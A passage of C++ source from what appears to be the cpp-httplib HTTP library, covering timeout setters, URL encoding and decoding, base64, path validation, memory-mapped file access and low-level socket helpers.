Rep, class Period>\ninline void ClientImpl::set_write_timeout(\n    const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(\n      duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); });\n}\n\ntemplate <class Rep, class Period>\ninline void Client::set_connection_timeout(\n    const std::chrono::duration<Rep, Period> &duration) {\n  cli_->set_connection_timeout(duration);\n}\n\ntemplate <class Rep, class Period>\ninline void\nClient::set_read_timeout(const std::chrono::duration<Rep, Period> &duration) {\n  cli_->set_read_timeout(duration);\n}\n\ntemplate <class Rep, class Period>\ninline void\nClient::set_write_timeout(const std::chrono::duration<Rep, Period> &duration) {\n  cli_->set_write_timeout(duration);\n}\n\n/*\n * Forward declarations and types that will be part of the .h file if split into\n * .h + .cc.\n */\n\nstd::string hosted_at(const std::string &hostname);\n\nvoid hosted_at(const std::string &hostname, std::vector<std::string> &addrs);\n\nstd::string append_query_params(const std::string &path, const Params &params);\n\nstd::pair<std::string, std::string> make_range_header(const Ranges &ranges);\n\nstd::pair<std::string, std::string>\nmake_basic_authentication_header(const std::string &username,\n                                 const std::string &password,\n                                 bool is_proxy = false);\n\nnamespace detail {\n\nstd::string encode_query_param(const std::string &value);\n\nstd::string decode_url(const std::string &s, bool convert_plus_to_space);\n\nvoid read_file(const std::string &path, std::string &out);\n\nstd::string trim_copy(const std::string &s);\n\nvoid divide(\n    const char *data, std::size_t size, char d,\n    std::function<void(const char *, std::size_t, const char *, std::size_t)>\n        fn);\n\nvoid divide(\n    const std::string &str, char d,\n    std::function<void(const char *, std::size_t, const char *, std::size_t)>\n        fn);\n\nvoid split(const char *b, const char *e, char d,\n           std::function<void(const char *, const char *)> fn);\n\nvoid split(const char *b, const char *e, char d, size_t m,\n           std::function<void(const char *, const char *)> fn);\n\nbool process_client_socket(socket_t sock, time_t read_timeout_sec,\n                           time_t read_timeout_usec, time_t write_timeout_sec,\n                           time_t write_timeout_usec,\n                           std::function<bool(Stream &)> callback);\n\nsocket_t create_client_socket(\n    const std::string &host, const std::string &ip, int port,\n    int address_family, bool tcp_nodelay, SocketOptions socket_options,\n    time_t connection_timeout_sec, time_t connection_timeout_usec,\n    time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec,\n    time_t write_timeout_usec, const std::string &intf, Error &error);\n\nconst char *get_header_value(const Headers &headers, const std::string &key,\n                             size_t id = 0, const char *def = nullptr);\n\nstd::string params_to_query_str(const Params &params);\n\nvoid parse_query_text(const char *data, std::size_t size, Params &params);\n\nvoid parse_query_text(const std::string &s, Params &params);\n\nbool parse_multipart_boundary(const std::string &content_type,\n                              std::string &boundary);\n\nbool parse_range_header(const std::string &s, Ranges &ranges);\n\nint close_socket(socket_t sock);\n\nssize_t send_socket(socket_t sock, const void *ptr, size_t size, int flags);\n\nssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags);\n\nenum class EncodingType { None = 0, Gzip, Brotli };\n\nEncodingType encoding_type(const Request &req, const Response &res);\n\nclass BufferStream final : public Stream {\npublic:\n  BufferStream() = default;\n  ~BufferStream() override = default;\n\n  bool is_readable() const override;\n  bool is_writable() const override;\n  ssize_t read(char *ptr, size_t size) override;\n  ssize_t write(const char *ptr, size_t size) override;\n  void get_remote_ip_and_port(std::string &ip, int &port) const override;\n  void get_local_ip_and_port(std::string &ip, int &port) const override;\n  socket_t socket() const override;\n\n  const std::string &get_buffer() const;\n\nprivate:\n  std::string buffer;\n  size_t position = 0;\n};\n\nclass compressor {\npublic:\n  virtual ~compressor() = default;\n\n  typedef std::function<bool(const char *data, size_t data_len)> Callback;\n  virtual bool compress(const char *data, size_t data_length, bool last,\n                        Callback callback) = 0;\n};\n\nclass decompressor {\npublic:\n  virtual ~decompressor() = default;\n\n  virtual bool is_valid() const = 0;\n\n  typedef std::function<bool(const char *data, size_t data_len)> Callback;\n  virtual bool decompress(const char *data, size_t data_length,\n                          Callback callback) = 0;\n};\n\nclass nocompressor final : public compressor {\npublic:\n  ~nocompressor() override = default;\n\n  bool compress(const char *data, size_t data_length, bool /*last*/,\n                Callback callback) override;\n};\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\nclass gzip_compressor final : public compressor {\npublic:\n  gzip_compressor();\n  ~gzip_compressor() override;\n\n  bool compress(const char *data, size_t data_length, bool last,\n                Callback callback) override;\n\nprivate:\n  bool is_valid_ = false;\n  z_stream strm_;\n};\n\nclass gzip_decompressor final : public decompressor {\npublic:\n  gzip_decompressor();\n  ~gzip_decompressor() override;\n\n  bool is_valid() const override;\n\n  bool decompress(const char *data, size_t data_length,\n                  Callback callback) override;\n\nprivate:\n  bool is_valid_ = false;\n  z_stream strm_;\n};\n#endif\n\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\nclass brotli_compressor final : public compressor {\npublic:\n  brotli_compressor();\n  ~brotli_compressor();\n\n  bool compress(const char *data, size_t data_length, bool last,\n                Callback callback) override;\n\nprivate:\n  BrotliEncoderState *state_ = nullptr;\n};\n\nclass brotli_decompressor final : public decompressor {\npublic:\n  brotli_decompressor();\n  ~brotli_decompressor();\n\n  bool is_valid() const override;\n\n  bool decompress(const char *data, size_t data_length,\n                  Callback callback) override;\n\nprivate:\n  BrotliDecoderResult decoder_r;\n  BrotliDecoderState *decoder_s = nullptr;\n};\n#endif\n\n// NOTE: until the read size reaches `fixed_buffer_size`, use `fixed_buffer`\n// to store data. The call can set memory on stack for performance.\nclass stream_line_reader {\npublic:\n  stream_line_reader(Stream &strm, char *fixed_buffer,\n                     size_t fixed_buffer_size);\n  const char *ptr() const;\n  size_t size() const;\n  bool end_with_crlf() const;\n  bool getline();\n\nprivate:\n  void append(char c);\n\n  Stream &strm_;\n  char *fixed_buffer_;\n  const size_t fixed_buffer_size_;\n  size_t fixed_buffer_used_size_ = 0;\n  std::string glowable_buffer_;\n};\n\nclass mmap {\npublic:\n  mmap(const char *path);\n  ~mmap();\n\n  bool open(const char *path);\n  void close();\n\n  bool is_open() const;\n  size_t size() const;\n  const char *data() const;\n\nprivate:\n#if defined(_WIN32)\n  HANDLE hFile_;\n  HANDLE hMapping_;\n#else\n  int fd_;\n#endif\n  size_t size_;\n  void *addr_;\n};\n\n} // namespace detail\n\n// ----------------------------------------------------------------------------\n\n/*\n * Implementation that will be part of the .cc file if split into .h + .cc.\n */\n\nnamespace detail {\n\ninline bool is_hex(char c, int &v) {\n  if (0x20 <= c && isdigit(c)) {\n    v = c - '0';\n    return true;\n  } else if ('A' <= c && c <= 'F') {\n    v = c - 'A' + 10;\n    return true;\n  } else if ('a' <= c && c <= 'f') {\n    v = c - 'a' + 10;\n    return true;\n  }\n  return false;\n}\n\ninline bool from_hex_to_i(const std::string &s, size_t i, size_t cnt,\n                          int &val) {\n  if (i >= s.size()) { return false; }\n\n  val = 0;\n  for (; cnt; i++, cnt--) {\n    if (!s[i]) { return false; }\n    auto v = 0;\n    if (is_hex(s[i], v)) {\n      val = val * 16 + v;\n    } else {\n      return false;\n    }\n  }\n  return true;\n}\n\ninline std::string from_i_to_hex(size_t n) {\n  static const auto charset = \"0123456789abcdef\";\n  std::string ret;\n  do {\n    ret = charset[n & 15] + ret;\n    n >>= 4;\n  } while (n > 0);\n  return ret;\n}\n\ninline size_t to_utf8(int code, char *buff) {\n  if (code < 0x0080) {\n    buff[0] = static_cast<char>(code & 0x7F);\n    return 1;\n  } else if (code < 0x0800) {\n    buff[0] = static_cast<char>(0xC0 | ((code >> 6) & 0x1F));\n    buff[1] = static_cast<char>(0x80 | (code & 0x3F));\n    return 2;\n  } else if (code < 0xD800) {\n    buff[0] = static_cast<char>(0xE0 | ((code >> 12) & 0xF));\n    buff[1] = static_cast<char>(0x80 | ((code >> 6) & 0x3F));\n    buff[2] = static_cast<char>(0x80 | (code & 0x3F));\n    return 3;\n  } else if (code < 0xE000) { // D800 - DFFF is invalid...\n    return 0;\n  } else if (code < 0x10000) {\n    buff[0] = static_cast<char>(0xE0 | ((code >> 12) & 0xF));\n    buff[1] = static_cast<char>(0x80 | ((code >> 6) & 0x3F));\n    buff[2] = static_cast<char>(0x80 | (code & 0x3F));\n    return 3;\n  } else if (code < 0x110000) {\n    buff[0] = static_cast<char>(0xF0 | ((code >> 18) & 0x7));\n    buff[1] = static_cast<char>(0x80 | ((code >> 12) & 0x3F));\n    buff[2] = static_cast<char>(0x80 | ((code >> 6) & 0x3F));\n    buff[3] = static_cast<char>(0x80 | (code & 0x3F));\n    return 4;\n  }\n\n  // NOTREACHED\n  return 0;\n}\n\n// NOTE: This code came up with the following stackoverflow post:\n// https://stackoverflow.com/questions/180947/base64-decode-snippet-in-c\ninline std::string base64_encode(const std::string &in) {\n  static const auto lookup =\n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n  std::string out;\n  out.reserve(in.size());\n\n  auto val = 0;\n  auto valb = -6;\n\n  for (auto c : in) {\n    val = (val << 8) + static_cast<uint8_t>(c);\n    valb += 8;\n    while (valb >= 0) {\n      out.push_back(lookup[(val >> valb) & 0x3F]);\n      valb -= 6;\n    }\n  }\n\n  if (valb > -6) { out.push_back(lookup[((val << 8) >> (valb + 8)) & 0x3F]); }\n\n  while (out.size() % 4) {\n    out.push_back('=');\n  }\n\n  return out;\n}\n\ninline bool is_file(const std::string &path) {\n#ifdef _WIN32\n  return _access_s(path.c_str(), 0) == 0;\n#else\n  struct stat st;\n  return stat(path.c_str(), &st) >= 0 && S_ISREG(st.st_mode);\n#endif\n}\n\ninline bool is_dir(const std::string &path) {\n  struct stat st;\n  return stat(path.c_str(), &st) >= 0 && S_ISDIR(st.st_mode);\n}\n\ninline bool is_valid_path(const std::string &path) {\n  size_t level = 0;\n  size_t i = 0;\n\n  // Skip slash\n  while (i < path.size() && path[i] == '/') {\n    i++;\n  }\n\n  while (i < path.size()) {\n    // Read component\n    auto beg = i;\n    while (i < path.size() && path[i] != '/') {\n      if (path[i] == '\\0') {\n        return false;\n      } else if (path[i] == '\\\\') {\n        return false;\n      }\n      i++;\n    }\n\n    auto len = i - beg;\n    assert(len > 0);\n\n    if (!path.compare(beg, len, \".\")) {\n      ;\n    } else if (!path.compare(beg, len, \"..\")) {\n      if (level == 0) { return false; }\n      level--;\n    } else {\n      level++;\n    }\n\n    // Skip slash\n    while (i < path.size() && path[i] == '/') {\n      i++;\n    }\n  }\n\n  return true;\n}\n\ninline std::string encode_query_param(const std::string &value) {\n  std::ostringstream escaped;\n  escaped.fill('0');\n  escaped << std::hex;\n\n  for (auto c : value) {\n    if (std::isalnum(static_cast<uint8_t>(c)) || c == '-' || c == '_' ||\n        c == '.' || c == '!' || c == '~' || c == '*' || c == '\\'' || c == '(' ||\n        c == ')') {\n      escaped << c;\n    } else {\n      escaped << std::uppercase;\n      escaped << '%' << std::setw(2)\n              << static_cast<int>(static_cast<unsigned char>(c));\n      escaped << std::nouppercase;\n    }\n  }\n\n  return escaped.str();\n}\n\ninline std::string encode_url(const std::string &s) {\n  std::string result;\n  result.reserve(s.size());\n\n  for (size_t i = 0; s[i]; i++) {\n    switch (s[i]) {\n    case ' ': result += \"%20\"; break;\n    case '+': result += \"%2B\"; break;\n    case '\\r': result += \"%0D\"; break;\n    case '\\n': result += \"%0A\"; break;\n    case '\\'': result += \"%27\"; break;\n    case ',': result += \"%2C\"; break;\n    // case ':': result += \"%3A\"; break; // ok? probably...\n    case ';': result += \"%3B\"; break;\n    default:\n      auto c = static_cast<uint8_t>(s[i]);\n      if (c >= 0x80) {\n        result += '%';\n        char hex[4];\n        auto len = snprintf(hex, sizeof(hex) - 1, \"%02X\", c);\n        assert(len == 2);\n        result.append(hex, static_cast<size_t>(len));\n      } else {\n        result += s[i];\n      }\n      break;\n    }\n  }\n\n  return result;\n}\n\ninline std::string decode_url(const std::string &s,\n                              bool convert_plus_to_space) {\n  std::string result;\n\n  for (size_t i = 0; i < s.size(); i++) {\n    if (s[i] == '%' && i + 1 < s.size()) {\n      if (s[i + 1] == 'u') {\n        auto val = 0;\n        if (from_hex_to_i(s, i + 2, 4, val)) {\n          // 4 digits Unicode codes\n          char buff[4];\n          size_t len = to_utf8(val, buff);\n          if (len > 0) { result.append(buff, len); }\n          i += 5; // 'u0000'\n        } else {\n          result += s[i];\n        }\n      } else {\n        auto val = 0;\n        if (from_hex_to_i(s, i + 1, 2, val)) {\n          // 2 digits hex codes\n          result += static_cast<char>(val);\n          i += 2; // '00'\n        } else {\n          result += s[i];\n        }\n      }\n    } else if (convert_plus_to_space && s[i] == '+') {\n      result += ' ';\n    } else {\n      result += s[i];\n    }\n  }\n\n  return result;\n}\n\ninline void read_file(const std::string &path, std::string &out) {\n  std::ifstream fs(path, std::ios_base::binary);\n  fs.seekg(0, std::ios_base::end);\n  auto size = fs.tellg();\n  fs.seekg(0);\n  out.resize(static_cast<size_t>(size));\n  fs.read(&out[0], static_cast<std::streamsize>(size));\n}\n\ninline std::string file_extension(const std::string &path) {\n  std::smatch m;\n  static auto re = std::regex(\"\\\\.([a-zA-Z0-9]+)$\");\n  if (std::regex_search(path, m, re)) { return m[1].str(); }\n  return std::string();\n}\n\ninline bool is_space_or_tab(char c) { return c == ' ' || c == '\\t'; }\n\ninline std::pair<size_t, size_t> trim(const char *b, const char *e, size_t left,\n                                      size_t right) {\n  while (b + left < e && is_space_or_tab(b[left])) {\n    left++;\n  }\n  while (right > 0 && is_space_or_tab(b[right - 1])) {\n    right--;\n  }\n  return std::make_pair(left, right);\n}\n\ninline std::string trim_copy(const std::string &s) {\n  auto r = trim(s.data(), s.data() + s.size(), 0, s.size());\n  return s.substr(r.first, r.second - r.first);\n}\n\ninline std::string trim_double_quotes_copy(const std::string &s) {\n  if (s.length() >= 2 && s.front() == '\"' && s.back() == '\"') {\n    return s.substr(1, s.size() - 2);\n  }\n  return s;\n}\n\ninline void\ndivide(const char *data, std::size_t size, char d,\n       std::function<void(const char *, std::size_t, const char *, std::size_t)>\n           fn) {\n  const auto it = std::find(data, data + size, d);\n  const auto found = static_cast<std::size_t>(it != data + size);\n  const auto lhs_data = data;\n  const auto lhs_size = static_cast<std::size_t>(it - data);\n  const auto rhs_data = it + found;\n  const auto rhs_size = size - lhs_size - found;\n\n  fn(lhs_data, lhs_size, rhs_data, rhs_size);\n}\n\ninline void\ndivide(const std::string &str, char d,\n       std::function<void(const char *, std::size_t, const char *, std::size_t)>\n           fn) {\n  divide(str.data(), str.size(), d, std::move(fn));\n}\n\ninline void split(const char *b, const char *e, char d,\n                  std::function<void(const char *, const char *)> fn) {\n  return split(b, e, d, (std::numeric_limits<size_t>::max)(), std::move(fn));\n}\n\ninline void split(const char *b, const char *e, char d, size_t m,\n                  std::function<void(const char *, const char *)> fn) {\n  size_t i = 0;\n  size_t beg = 0;\n  size_t count = 1;\n\n  while (e ? (b + i < e) : (b[i] != '\\0')) {\n    if (b[i] == d && count < m) {\n      auto r = trim(b, e, beg, i);\n      if (r.first < r.second) { fn(&b[r.first], &b[r.second]); }\n      beg = i + 1;\n      count++;\n    }\n    i++;\n  }\n\n  if (i) {\n    auto r = trim(b, e, beg, i);\n    if (r.first < r.second) { fn(&b[r.first], &b[r.second]); }\n  }\n}\n\ninline stream_line_reader::stream_line_reader(Stream &strm, char *fixed_buffer,\n                                              size_t fixed_buffer_size)\n    : strm_(strm), fixed_buffer_(fixed_buffer),\n      fixed_buffer_size_(fixed_buffer_size) {}\n\ninline const char *stream_line_reader::ptr() const {\n  if (glowable_buffer_.empty()) {\n    return fixed_buffer_;\n  } else {\n    return glowable_buffer_.data();\n  }\n}\n\ninline size_t stream_line_reader::size() const {\n  if (glowable_buffer_.empty()) {\n    return fixed_buffer_used_size_;\n  } else {\n    return glowable_buffer_.size();\n  }\n}\n\ninline bool stream_line_reader::end_with_crlf() const {\n  auto end = ptr() + size();\n  return size() >= 2 && end[-2] == '\\r' && end[-1] == '\\n';\n}\n\ninline bool stream_line_reader::getline() {\n  fixed_buffer_used_size_ = 0;\n  glowable_buffer_.clear();\n\n  for (size_t i = 0;; i++) {\n    char byte;\n    auto n = strm_.read(&byte, 1);\n\n    if (n < 0) {\n      return false;\n    } else if (n == 0) {\n      if (i == 0) {\n        return false;\n      } else {\n        break;\n      }\n    }\n\n    append(byte);\n\n    if (byte == '\\n') { break; }\n  }\n\n  return true;\n}\n\ninline void stream_line_reader::append(char c) {\n  if (fixed_buffer_used_size_ < fixed_buffer_size_ - 1) {\n    fixed_buffer_[fixed_buffer_used_size_++] = c;\n    fixed_buffer_[fixed_buffer_used_size_] = '\\0';\n  } else {\n    if (glowable_buffer_.empty()) {\n      assert(fixed_buffer_[fixed_buffer_used_size_] == '\\0');\n      glowable_buffer_.assign(fixed_buffer_, fixed_buffer_used_size_);\n    }\n    glowable_buffer_ += c;\n  }\n}\n\ninline mmap::mmap(const char *path)\n#if defined(_WIN32)\n    : hFile_(NULL), hMapping_(NULL)\n#else\n    : fd_(-1)\n#endif\n      ,\n      size_(0), addr_(nullptr) {\n  open(path);\n}\n\ninline mmap::~mmap() { close(); }\n\ninline bool mmap::open(const char *path) {\n  close();\n\n#if defined(_WIN32)\n  std::wstring wpath;\n  for (size_t i = 0; i < strlen(path); i++) {\n    wpath += path[i];\n  }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM |   \\\n                            WINAPI_PARTITION_GAMES) &&                         \\\n    (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n  hFile_ = ::CreateFile2(wpath.c_str(), GENERIC_READ, FILE_SHARE_READ,\n                         OPEN_EXISTING, NULL);\n#else\n  hFile_ = ::CreateFileW(wpath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL,\n                         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n#endif\n\n  if (hFile_ == INVALID_HANDLE_VALUE) { return false; }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM |   \\\n                            WINAPI_PARTITION_GAMES)\n  LARGE_INTEGER size{};\n  if (!::GetFileSizeEx(hFile_, &size)) { return false; }\n  size_ = static_cast<size_t>(size.QuadPart);\n#else\n  DWORD sizeHigh;\n  DWORD sizeLow;\n  sizeLow = ::GetFileSize(hFile_, &sizeHigh);\n  if (sizeLow == INVALID_FILE_SIZE) { return false; }\n  size_ = (static_cast<size_t>(sizeHigh) << (sizeof(DWORD) * 8)) | sizeLow;\n#endif\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && \\\n    (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n  hMapping_ =\n      ::CreateFileMappingFromApp(hFile_, NULL, PAGE_READONLY, size_, NULL);\n#else\n  hMapping_ = ::CreateFileMappingW(hFile_, NULL, PAGE_READONLY, size.HighPart,\n                                   size.LowPart, NULL);\n#endif\n\n  if (hMapping_ == NULL) {\n    close();\n    return false;\n  }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && \\\n    (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n  addr_ = ::MapViewOfFileFromApp(hMapping_, FILE_MAP_READ, 0, 0);\n#else\n  addr_ = ::MapViewOfFile(hMapping_, FILE_MAP_READ, 0, 0, 0);\n#endif\n#else\n  fd_ = ::open(path, O_RDONLY);\n  if (fd_ == -1) { return false; }\n\n  struct stat sb;\n  if (fstat(fd_, &sb) == -1) {\n    close();\n    return false;\n  }\n  size_ = static_cast<size_t>(sb.st_size);\n\n  addr_ = ::mmap(NULL, size_, PROT_READ, MAP_PRIVATE, fd_, 0);\n#endif\n\n  if (addr_ == nullptr) {\n    close();\n    return false;\n  }\n\n  return true;\n}\n\ninline bool mmap::is_open() const { return addr_ != nullptr; }\n\ninline size_t mmap::size() const { return size_; }\n\ninline const char *mmap::data() const {\n  return static_cast<const char *>(addr_);\n}\n\ninline void mmap::close() {\n#if defined(_WIN32)\n  if (addr_) {\n    ::UnmapViewOfFile(addr_);\n    addr_ = nullptr;\n  }\n\n  if (hMapping_) {\n    ::CloseHandle(hMapping_);\n    hMapping_ = NULL;\n  }\n\n  if (hFile_ != INVALID_HANDLE_VALUE) {\n    ::CloseHandle(hFile_);\n    hFile_ = INVALID_HANDLE_VALUE;\n  }\n#else\n  if (addr_ != nullptr) {\n    munmap(addr_, size_);\n    addr_ = nullptr;\n  }\n\n  if (fd_ != -1) {\n    ::close(fd_);\n    fd_ = -1;\n  }\n#endif\n  size_ = 0;\n}\ninline int close_socket(socket_t sock) {\n#ifdef _WIN32\n  return closesocket(sock);\n#else\n  return close(sock);\n#endif\n}\n\ntemplate <typename T> inline ssize_t handle_EINTR(T fn) {\n  ssize_t res = 0;\n  while (true) {\n    res = fn();\n    if (res < 0 && errno == EINTR) { continue; }\n    break;\n  }\n  return res;\n}\n\ninline ssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags) {\n  return handle_EINTR([&]() {\n    return recv(sock,\n#ifdef _WIN32\n                static_cast<char *>(ptr), static_cast<int>(size),\n#else\n                ptr, size,\n#endif\n                flags);\n  });\n}\n\ninline ssize_t send_socket(socket_t sock, const void *ptr, size_t size,\n                           int flags) {\n  return handle_EINTR([&]() {\n    return send(sock,\n#ifdef _WIN32\n                static_cast<const char *>(ptr), static_cast<int>(size),\n#else\n                ptr, size,\n#endif\n                flags);\n  });\n}\n\ninline ssize_t select_read(socket_t sock, time_t sec, time_t usec) {\n#ifdef CPPHTTPLIB_USE_POLL\n  struct pollfd pfd_read;\n  pfd_read.fd = sock;\n  pfd_read.events = POLLIN;\n\n  auto timeout = static_cast<int>(sec * 1000 + usec / 1000);\n\n  return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); });\n#else\n#ifndef _WIN32\n  if (sock >= FD_SETSIZE) { return -1; }\n#endif\n\n  fd_set fds;\n  FD_ZERO(&fds);\n  FD_SET(sock, &fds);\n\n  timeval tv;\n  tv.tv_sec = static_cast<long>(sec);\n  tv.tv_usec = static_cast<decltype(tv.tv_usec)>(usec);\n\n  return handle_EINTR([&]() {\n    return select(static_cast<int>(sock + 1), &fds, nullptr, nullptr, &tv);\n  });\n#endif\n}\n\ninline ssize_t select_write(socket_t sock, time_t sec, time_t usec) {\n#ifdef CPPHTTPLIB_USE_POLL\n  struct pollfd pfd_read;\n  pfd_read.fd = sock;\n  pfd_read.events = POLLOUT;\n\n  auto timeout = static_cast<int>(sec * 1000 + usec / 1000);\n\n  return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); });\n#else\n#ifndef _WIN32\n  if (sock >= FD_SETSIZE) { return -1; }\n#endif\n\n  fd_set fds;\n  FD_ZERO(&fds);\n  FD_SET(sock, &fds);\n\n  timeval tv;\n  tv.tv_sec = static_cast<long>(sec);\n  tv.tv_usec = static_cast<decltype(tv.tv_usec)>(usec);\n\n  return handle_EINTR([&]() {\n    return select(static_cast<int>(sock + 1), nullptr, &fds, nullptr, &tv);\n  });\n#endif\n}\n\ninline Error wait_until_socket_is_ready(socket_t sock, time_t sec,\n                                        time_t usec) {\n#ifdef CPPHTTPLIB_USE_POLL\n  struct pollfd pfd_read;\n  pfd_read.fd = sock;\n  pfd_read.events = POLLIN | POLLOUT;\n\n  auto timeout = static_cast<int>(sec * 1000 + usec / 1000);\n\n  auto poll_res = handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); });\n\n  if (poll_res == 0) { return Error::ConnectionTimeout; }\n\n  if (poll_res > 0 && pfd_read.revents & (POLLIN | POLLOUT)) {\n    auto error = 0;\n    socklen_t len = sizeof(error);\n    auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR,\n                          reinterpret_cast<char *>(&error), &len);\n    auto successful = res >= 0 && !error;\n    return successful ? Error::Success : Error::Connection;\n  }\n\n  return Error::Connection;\n#else\n#ifndef _WIN32\n  if (sock >= FD_SETSIZE) { return Error::Connection; }\n#endif\n\n  fd_set fdsr;\n  FD_ZERO(&fdsr);\n  FD_SET(sock, &fdsr);\n\n  auto fdsw = fdsr;\n  auto fdse = fdsr;\n\n  timeval tv;\n  tv.tv_sec = static_cast<long>(sec);\n  tv.tv_usec = static_cast<decltype(tv.tv_usec)>(usec);\n\n  auto ret = handle_EINTR([&]() {\n    return select(static_cast<int>(sock + 1), &fdsr, &fdsw, &fdse, &tv);\n  });\n\n  if (ret == 0) { return Error::ConnectionTimeout; }\n\n  if (ret > 0 && (FD_ISSET(sock, &fdsr) || FD_ISSET(sock, &fdsw))) {\n    auto error = 0;\n    socklen_t len = sizeof(error);\n    auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR,\n                          reinterpret_cast<char *>(&error), &len);\n    auto successful = res >= 0 && !error;\n    return successful ? Error::Success : Error::Connection;\n  }\n  return Error::Connection;\n#endif\n}\n\ninline bool is_socket_alive(socket_t sock) {\n  const auto val = detail::select_read(sock, 0, 0);\n  if (val == 0) {\n    return true;\n  } else if (val < 0 && errno == EBADF) {\n    return false;\n  }\n  char buf[1];\n  return detail::read_socket(sock, &buf[0], sizeof(buf), MSG_PEEK) > 0;\n}\n\nclass SocketStream final : public Stream {\npublic:\n  SocketStream(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec,\n               time_t write_timeout_sec, time_t write_timeout_usec);\n  ~SocketStream() override;\n\n  bool is_readable() const override;\n  bool is_writable() const override;\n  ssize_t read(char *ptr, size_t size) override;\n  ssize_t write(const char *ptr, size_t size) override;\n  void get_remote_ip_and_port(std::string &ip, int &port) const override;\n  void get_local_ip_and_port(std::string &ip, int &port) const override;\n  socket_t socket() const override;\n\nprivate:\n  socket_t sock_;\n  time_t read_timeout_sec_;\n  time_t read_timeout_usec_;\n  time_t write_timeout_sec_;\n  time_t write_timeout_usec_;\n\n  std::vector<char> read_buff_;\n  size_t read_buff_off_ = 0;\n  size_t read_buff_content_size_ = 0;\n\n  static const size_t read_buff_size_ = 1024l * 4;\n};\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\nclass SSLSocketStream final : public Stream {\npublic:\n  SSLSocketStream(socket_t sock, SSL *ssl, time_t read_timeout_sec,\n                  time_t read_timeout_usec, time_t write_timeout_sec,\n                  time_t write_timeout_usec);\n  ~SSLSocketStream() override;\n\n  bool is_readable() const override;\n  bool is_writable() const override;\n  ssize_t read(char *ptr, size_t size) override;\n  ssize_t write(const char *ptr, size_t size) override;\n  void get_remote_ip_and_port(std::string &ip, int &port) const override;\n  void get_local_ip_and_port(std::string &ip, int &port) const override;\n  socket_t socket() const override;\n\nprivate:\n  socket_t sock_;\n  SSL *ssl_;\n  time_t read_timeout_sec_;\n  time_t read_timeout_usec_;\n  time_t write_timeout_sec_;\n  time_t write_timeout_usec_;\n};\n#endif\n\ninline bool keep_alive(socket_t sock, time_t keep_alive_timeout_sec) {\n  using namespace std::chrono;\n  auto start = steady_clock::now();\n  while (true) {\n    auto val = select_read(sock, 0, 10000);\n    if (val < 0) {\n      return false;\n    } else if (val == 0) {\n      auto current = steady_clock::now();\n      auto duration = duration_cast<milliseconds>(current - start);\n      auto timeout = keep_alive_timeout_sec * 1000;\n      if (duration.count() > timeout) { return false; }\n      std::this_thread::sleep_for(std::chrono::milliseconds(1));\n    } else {\n      return true;\n    }\n  }\n}\n\ntemplate <typename T>\ninline bool\nprocess_server_socket_core(const std::atomic<socket_t> &svr_sock, socket_t sock,\n                           size_t keep_alive_max_count,\n                           time_t keep_alive_timeout_sec, T callback) {\n  assert(keep_alive_max_count > 0);\n  auto ret = false;\n  auto count = keep_alive_max_count;\n  while (svr_sock != INVALID_SOCKET && count > 0 &&\n         keep_alive(sock, keep_alive_timeout_sec)) {\n    auto close_connection = count == 1;\n    auto connection_closed = false;\n    ret = callback(close_connection, connection_closed);\n    if (!ret || connection_closed) { break; }\n    count--;\n  }\n  return ret;\n}\n\ntemplate <typename T>\ninline bool\nprocess_server_socket(const std::atomic<socket_t> &svr_sock, socket_t sock,\n                      size_t keep_alive_max_count,\n                      time_t keep_alive_timeout_sec, time_t read_timeout_sec,\n                      time_t read_timeout_usec, time_t write_timeout_sec,\n                      time_t write_timeout_usec, T callback) {\n  return process_server_socket_core(\n      svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec,\n      [&](bool close_connection, bool &connection_closed) {\n        SocketStream strm(sock, read_timeout_sec, read_timeout_usec,\n                          write_timeout_sec, write_timeout_usec);\n        return callback(strm, close_connection, connection_closed);\n      });\n}\n\ninline bool process_client_socket(socket_t sock, time_t read_timeout_sec,\n                                  time_t read_timeout_usec,\n                                  time_t write_timeout_sec,\n                                  time_t write_timeout_usec,\n                                  std::function<bool(Stream &)> callback) {\n  SocketStream strm(sock, read_timeout_sec, read_timeout_usec,\n                    write_timeout_sec, write_timeout_usec);\n  return callback(strm);\n}\n\ninline int shutdown_socket(socket_t sock) {\n#ifdef _WIN32\n  return shutdown(sock, SD_BOTH);\n#else\n  return shutdown(sock, SHUT_RDWR);\n#endif\n}\n\ntemplate <typename BindOrConnect>\nsocket_t create_socket(const std::string &host, const std::string &ip, int port,\n                       int address_family, int socket_flags, bool tcp_nodelay,\n                       SocketOptions socket_options,\n                       BindOrConnect bind_or_connect) {\n  // Get address info\n  const char *node = nullptr;\n  struct addrinfo hints;\n  struct addrinfo *result;\n\n  memset(&hints, 0, sizeof(struct addrinfo));\n  hints.ai_socktype = SOCK_STREAM;\n  hints.ai_protocol = 0;\n\n  if (!ip.empty()) {\n    node = ip.c_str();\n    // Ask getaddrinfo to convert IP in c-string to address\n    hints.ai_family = AF_UNSPEC;\n    hints.ai_flags = AI_NUMERICHOST;\n  } else {\n    if (!host.empty()) { node = host.c_str(); }\n    hints.ai_family = address_family;\n    hints.ai_flags = 